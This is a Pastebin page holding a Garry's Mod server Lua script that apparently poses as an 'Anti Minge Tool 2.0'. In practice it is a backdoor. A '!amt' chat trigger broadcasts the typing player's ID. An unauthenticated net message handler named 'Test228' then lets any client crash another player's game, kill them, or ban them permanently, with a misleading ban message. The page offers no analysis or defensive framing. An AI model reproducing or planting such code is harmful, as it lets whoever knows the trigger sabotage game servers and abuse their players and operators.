Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if SERVER then
- local tabc = {}
- tabc.tickler = 0
- tabc.string = "no"
- tabc.idx = 0
- util.AddNetworkString("Test228")
- local function packet_joj()
- hook.Add( "PlayerSay", "checkvalidate", function( ply, text, public )
- if(text == '!amt' and CurTime() > (tabc.tickler or 0) ) then
- tabc.tickler = CurTime() + 0.1
- tabc.string = "yes"
- tabc.idx = ply:UniqueID()
- timer.Create('Off',0.5,1,function()
- tabc.string = "no"
- end )
- end
- if ply:IsValid() and tabc.string != '' then
- net.Start("Test228")
- net.WriteTable({tabc.idx,tabc.string})
- net.Broadcast()
- end
- end )
- end
- /**function display()
- for c,v in pairs(player.GetAll()) do
- v:PrintMessage(HUD_PRINTCENTER, "" .. tostring(tabc.bool) )
- end
- end **/
- --hook.Add('Think','ddassasr', display)
- local function crash(plyr)
- if plyr:IsBot() then
- plyr:Kick()
- elseif(plyr:IsPlayer()) then
- plyr:SendLua(' cam.End3D() ')
- end
- end
- local function kill(plyr)
- if plyr:IsValid() then
- plyr:Kill()
- end
- end
- local function ban(plyr)
- if plyr:IsValid() and !plyr:IsBot() then
- plyr:Ban( 0 , '' .. plyr:Nick() .. ' , you banned by Anti Minge Tool 2.0!')
- PrintMessage(3,' Player ' .. plyr:Nick() .. ' (' .. team.GetName(plyr:Team()) .. ') ' .. 'has been banned permanently! (' .. plyr:SteamID() .. ')' .. ' ' )
- elseif(plyr:IsBot()) then
- plyr:Kick()
- PrintMessage(3,' BOT ' .. plyr:Nick() .. ' (' .. team.GetName(plyr:Team()) .. ') ' .. 'has been kicked from server')
- end
- end
- hook.Add('Think','sdsddd', packet_joj)
- function read( len )
- local tab = net.ReadTable()
- local name = tab[1]
- local uid = tab[2]
- local sdid = tab[3]
- local todo = tab[4]
- local targ = player.GetByUniqueID(sdid)
- local totr = player.GetByUniqueID(uid)
- if targ != nil and totr != nil then
- if todo == 'crash' then
- crash( totr )
- elseif(todo == 'kill') then
- kill( totr )
- elseif(todo == 'ban') then
- ban( totr )
- end
- end
- end
- net.Receive('Test228', read)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement